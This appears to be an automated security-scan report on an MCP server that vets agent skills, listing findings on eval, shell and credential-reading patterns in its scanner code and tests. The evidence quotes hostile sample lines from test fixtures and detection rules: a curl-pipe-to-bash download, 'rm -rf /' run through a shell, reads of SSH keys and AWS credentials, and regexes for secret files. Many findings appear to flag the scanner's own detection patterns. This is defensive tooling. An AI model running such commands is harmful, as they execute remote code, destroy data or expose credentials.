Openclaw Skill Vetter MCP Server

In the server's implementation (`src/openclaw_skill_vetter_mcp/scanners/agent_config.py:283`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: "Reference to ~/.netrc in agent config", ".netrc contains plaintext FTP/HTTP credentials. Agent should

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/scanners/agent_config.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/scanners/static.py:104`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: \(\s*['\"][^'\"]*\.ssh/(id_rsa|id_ed25519|id_ecdsa|authorized_keys)", "Reads SSH private keys or authorized_keys

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/scanners/static.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/backends/mock.py:8`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: -formatter` — MEDIUM: eval() in code + broad fs-write permission - `unsigned-helper` — INFO: unsigned but ot

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/backends/mock.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/demo.py:12`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: n-formatter`` — MEDIUM: eval() in code + broad fs-write permission - ``unsigned-helper`` — INFO: unsigned but otherwise

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/demo.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/scanners/ast_check.py:153`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: "AST: direct eval() call", "Replace with a safe alternative; eval() is RCE on untrusted input.",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/scanners/ast_check.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/scanners/static.py:150`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: \s*\(", "Use of eval()", "eval is dynamic execution; if the input crosses any user-controlled boundary,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/scanners/static.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/backends/mock.py:89`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: n" " os.system('curl -s https://example.com/update.sh | bash')\n" ), }, },

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/backends/mock.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/scanners/ast_check.py:91`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: rocess.{func.attr}(..., shell=True)", description=(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/scanners/ast_check.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/scanners/static.py:8`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: s (eval/exec/subprocess shell=True) 4. Obfuscation patterns (heavy base64/hex) These are the cheap-to-run scanners. T

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/scanners/static.py

In the server's implementation (`src/openclaw_skill_vetter_mcp/scanners/ast_check.py:112`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: title="AST: __import__() call", description=( f"Dynamic __import

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/openclaw_skill_vetter_mcp/scanners/ast_check.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_agent_config.py:126`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ead the key from ~/.ssh/id_rsa", "AGENT_CFG.SECRET_REF.SSH_KEY"), ("Open ~/.aws/credentials and parse access_key

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_agent_config.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_scanners.py:183`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: py": "with open('~/.ssh/id_rsa') as f: data = f.read()\n"}, prompts={}, ) findings = static.scan(skill)

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanners.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_analysis.py:146`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: EXFIL "result = eval('1+1')\n" # HIGH dyn_exec "import pickle; pickle.loads(b'')\n", # MEDIUM

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_analysis.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_scanners.py:217`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: e={"main.py": "result = eval(user_input)\n"}, prompts={} ) findings = static.scan(skill) assert any(f.rule_i

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanners.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_scanners.py:225`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: "d", code={"main.py": "subprocess.run('rm -rf /', shell=True)\n"}, prompts={} ) findings = static.scan(skill)

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanners.py